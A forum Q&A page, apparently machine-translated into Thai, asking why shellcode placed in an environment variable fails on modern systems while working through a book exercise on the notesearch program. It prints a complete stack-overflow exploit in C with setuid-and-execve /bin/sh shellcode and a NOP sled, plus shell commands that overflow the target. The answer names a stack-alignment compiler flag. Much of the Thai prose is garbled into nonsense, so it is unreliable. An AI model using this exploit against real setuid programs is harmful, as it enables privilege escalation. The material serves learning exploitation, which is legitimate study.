ทำไมถึงไม่องนี้ shellcode ประมวลผล?

0

คำถาม

ฉันกำลังทำงานผ่าน แนน:ศิลปะของการใช้ประโยชน์ในทางที่ผิด และฉันเจอคนแรกของฉัแย่งใช้พยายามที่จะได้รู้จักทำงานหาประโยชน์จากเพื่อวิ่งหนีจากหนังสือผ่านทางการตัวแปรแวดล้อม ทุกโปรแกรมถูกคอมไพล์กับ -fno-stack-protector -zexecstack -no-pie -fno-pie.

วิ่งหนี exploit_notesearch.c (albeit กับเป็นนังมาอย่างเจาะจงมาออฟเซ็ต),ฉันสามารถไปหาประโยชน์จากเพื่อเปิเป็นเชลล์โดยเคลื่อนที่ออฟเซ็ตอบ argv[1]. มันได้ผลกับสมัยใหม่ OSes(กับ ASLR ปิดการใช้งาน)เช่นเดียวที่ LiveCD รวมกับพระเจ้าขาคุณหักไม่นานหรอก

notesearch.c

exploit_notesearch.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=208;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}

เพิ่มเติมเกี่ยวกับอยู่ในตอนเราตั้ง shellcode ต้องการตัวแปรสภาพแวดล้อมและความพยายามจะเปลี่ยนปลายทางจดหมายเลื่อนไหลไปที่สถานที่ที่ตั้งอยู่ที่ไหน SHELLCODE ตัวแปรสภาพแวดล้อมคือกตั้งครึ่งเรื่องที่ prepended NOP งไว้บนเปล อย่างไรก็ตามเรื่องนี้ไม่เคย executes ที่ใช้ประโยชน์ในสมัยใหม่ OSes แต่ทำงานได้ดีใน Ubuntu 7.04 อยู่แผ่น CD นั่นมากับพระเจ้าขาคุณหักไม่นานหรอก shellcode.bin คือ shellcode ที่สุดยอดของ exploit_notesearch.c แฟ้มหรือสำหรับเหตุผลที่ไม่บอ echo -en และ redirected เข้าไปในแฟ้มได้

$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled

เกิดอะไรขึ้นที่นี่มันมีการเปลี่ยนแปลงระหว่างแก่ OSes และสมัยใหม่? มีการคุ้มครองฉันไม่ได้ตระหนักว่าของนั่นเป็นป้องกันจากขี่ม้าที่ NOP กำที่ shellcode?

ขอบคุณ

c environment-variables shellcode
2021-11-24 04:34:00
1

คำตอบที่ดีที่สุด

0

ปัญหาคืองานตำแหน่ง,รวบรวมกัน -mpreferred-stack-boundary=2 aligns คนงานเหมือนๆกันหนังสือเล่มนั้นเลย

2021-11-24 15:24:48

ในภาษาอื่นๆ

หน้านี้อยู่ในภาษาอื่นๆ

Русский
..................................................................................................................
Italiano
..................................................................................................................
Polski
..................................................................................................................
Română
..................................................................................................................
한국어
..................................................................................................................
हिन्दी
..................................................................................................................
Français
..................................................................................................................
Türk
..................................................................................................................
Česk
..................................................................................................................
Português
..................................................................................................................
中文
..................................................................................................................
Español
..................................................................................................................
Slovenský
..................................................................................................................

ดังอยู่ในนี้หมวดหมู่

ดังคำถามอยู่ในนี้หมวดหมู่